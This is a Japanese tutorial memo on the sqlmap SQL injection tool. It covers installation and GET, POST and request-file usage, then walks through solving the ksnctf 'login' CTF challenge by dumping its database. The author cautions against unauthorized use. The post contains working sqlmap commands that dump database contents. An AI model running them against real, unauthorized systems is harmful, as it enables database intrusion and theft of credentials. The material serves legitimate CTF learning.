■ 概要
SQLインジェクション検知のためのペネトレーションツールであるsqlmapの使い方に関するメモ。sqlmapは、簡単なコマンドライン操作によって、データベースにおける脆弱性の発見や内容のダンプなどを行ってくれる非常に強力なツールである。この記事では、sqlmapの基本的な使い方についてまとめ、これを用いてCTFの問題(ksnctfの「login」)を解いてみる。なお、許可されていないアプリケーションはもちろん、各種CTFにおける問題に対しても、安易にslqmap使用してはいけない(攻撃と検知されたり、サーバに負荷がかかったりするため)。
■ 導入
公式ページによれば、以下のコマンドでクローンできる。なお、Kali Linuxにはデフォルトで入っている。
$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
呼び出す場合は以下の通り。
$ sqlmap
■ 使い方
オプション「-h」、「-hh」でsqlmapのヘルプを呼び出せる。
$ sqlmap -h $ sqlmap -hh
GETパラメータを用いているアプリケーションに対しては、以下のコマンドを使う。なお、「id」と「password」がGETパラメータとする。
$ sqlmap -u "http://example.com/login.php?id=admin&password=admin" -o --dump
POSTパラメータを用いているアプリケーションに対しては、以下のコマンドを使う。なお、「id」と「password」がPOSTパラメータとする。
$ sqlmap -u "http://example.com/login.php" --data "id=admin&password=adin" -o --dump
ここで、「-o」は最適化のため、「--dump」は解析結果を出力するためのオプションである。また、URLやパラメータを指定する代わりに、「-r」オプションにてGET/POSTリクエストを記録したファイル(request.txt)を指定することもできる。
$ sqlmap -r request.txt -o --dump
■ 例題
sqlmapを用いてksnctfの「login」を解いてみる。この問題は、SQLの実行結果の真偽によってブラウザに表示される内容が異なり、それを足掛かりにadminのパスワードを入手するというものである。
まずは、ブラウザのデベロッパーツールやBurp Suiteなどを用いてリクエストを確認する。
POSTメソッドを利用しており、パラメータは「id」と「pass」であることが分かった。これをsqlmapに投げてみる。
$ sqlmap -u "http://ctfq.u1tramarine.blue/q6/" --data "id=admin&pass=admin" -o --dump
実行後しばらくすると、質問が来た。基本的に「Y」でよいと思われるので、「Y」もしくはエンターキーを入力する。
実行が完了したが、パラメータ「id」と「pass」に脆弱性は含まれていないかもといった旨のメッセージが表示されており、何もダンプされない。しかし、「--level」や「--risk」オプションを試してみろとの旨も表示されているので、以下を試してみる。
$ sqlmap -u "http://ctfq.u1tramarine.blue/q6/" --data "id=admin&pass=admin" -o --dump --risk=3
実行すると、パラメータ「pass」に脆弱性が含まれているので、引き続き調査を進めてよいか確認される。「y」を選択する。
解析が進み、データベース内の情報が表示される。テーブル「user」のカラム「pass」のレコードが、求めるフラグである。また、解析のログデータは、「/home/kali/.local/share/sqlmap/output/ctfq.u1tramarine.blue」に保存されている旨も表示されている。
なお、リクエストをファイル(request.txt)に記録し、そのファイルを用いて解析してもよい。
$ sqlmap -r request.txt -o --dump --risk=3
POST /q6/ HTTP/1.1 Host: ctfq.u1tramarine.blue User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 19 Origin: http://ctfq.u1tramarine.blue Connection: close Referer: http://ctfq.u1tramarine.blue/q6/ Upgrade-Insecure-Requests: 1id=admin&pass=admin
■ 感想
手軽に使える点が魅力に感じる一方、精度はどれくらいなのかという点が気になった。今後も、攻撃が許可された様々なアプリケーションに対して使っていきたい。